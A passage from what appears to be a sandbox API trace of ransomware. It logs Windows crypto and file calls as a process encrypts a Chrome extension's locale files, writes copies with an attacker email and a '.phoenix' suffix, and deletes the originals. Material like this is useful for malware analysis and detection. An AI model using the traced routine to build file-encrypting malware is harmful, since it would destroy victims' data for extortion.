	[0260.219] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0260.219] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.219] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.219] CryptDestroyKey (hKey=0x151780) returned 1
	[0260.219] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.219] CryptDestroyKey (hKey=0x151080) returned 1
	[0260.219] CloseHandle (hObject=0x240) returned 1
	[0260.219] CloseHandle (hObject=0x250) returned 1
	[0260.219] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json")) returned 1
	[0260.220] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.220] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.221] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.221] CloseHandle (hObject=0x250) returned 1
	[0260.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json")) returned 0x20
	[0260.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.221] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.221] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.222] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.222] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.222] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151180) returned 1
	[0260.222] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.222] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.253] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.253] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.254] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151140) returned 1
	[0260.254] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.254] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.254] CryptDestroyKey (hKey=0x151140) returned 1
	[0260.254] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.254] CryptDestroyKey (hKey=0x151180) returned 1
	[0260.254] CloseHandle (hObject=0x250) returned 1
	[0260.254] CloseHandle (hObject=0x240) returned 1
	[0260.254] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json")) returned 1
	[0260.256] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.257] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.257] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.257] CloseHandle (hObject=0x240) returned 1
	[0260.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json")) returned 0x20
	[0260.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.258] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.258] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.258] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.258] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.258] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151340) returned 1
	[0260.258] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.258] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.260] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.260] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.261] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0260.261] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.261] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.261] CryptDestroyKey (hKey=0x151780) returned 1
	[0260.261] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.261] CryptDestroyKey (hKey=0x151340) returned 1
	[0260.261] CloseHandle (hObject=0x240) returned 1
	[0260.261] CloseHandle (hObject=0x250) returned 1
	[0260.261] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json")) returned 1
	[0260.263] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.263] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.264] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.264] CloseHandle (hObject=0x250) returned 1
	[0260.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json")) returned 0x20
	[0260.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.264] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.264] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.264] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.264] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.265] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0260.265] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.265] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.266] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.266] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.267] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0260.267] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.267] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.267] CryptDestroyKey (hKey=0x151540) returned 1
	[0260.267] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.267] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0260.267] CloseHandle (hObject=0x250) returned 1
	[0260.267] CloseHandle (hObject=0x240) returned 1
	[0260.267] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json")) returned 1
	[0260.269] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.270] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.372] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=159) returned 1
	[0260.372] CloseHandle (hObject=0x240) returned 1
	[0260.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json")) returned 0x20
	[0260.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.372] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.372] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.372] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.372] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.373] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0260.373] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.373] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x9f, lpOverlapped=0x0) returned 1
	[0260.374] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa0, dwBufLen=0xa0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa0) returned 1
	[0260.374] WriteFile (in: hFile=0x2e0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa0, lpOverlapped=0x0) returned 1
	[0260.382] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151740) returned 1
	[0260.382] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.382] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.382] CryptDestroyKey (hKey=0x151740) returned 1
	[0260.382] WriteFile (in: hFile=0x2e0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.382] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0260.382] CloseHandle (hObject=0x240) returned 1
	[0260.382] CloseHandle (hObject=0x2e0) returned 1
	[0260.382] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json")) returned 1
	[0260.384] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.384] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.385] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.385] CloseHandle (hObject=0x2e0) returned 1
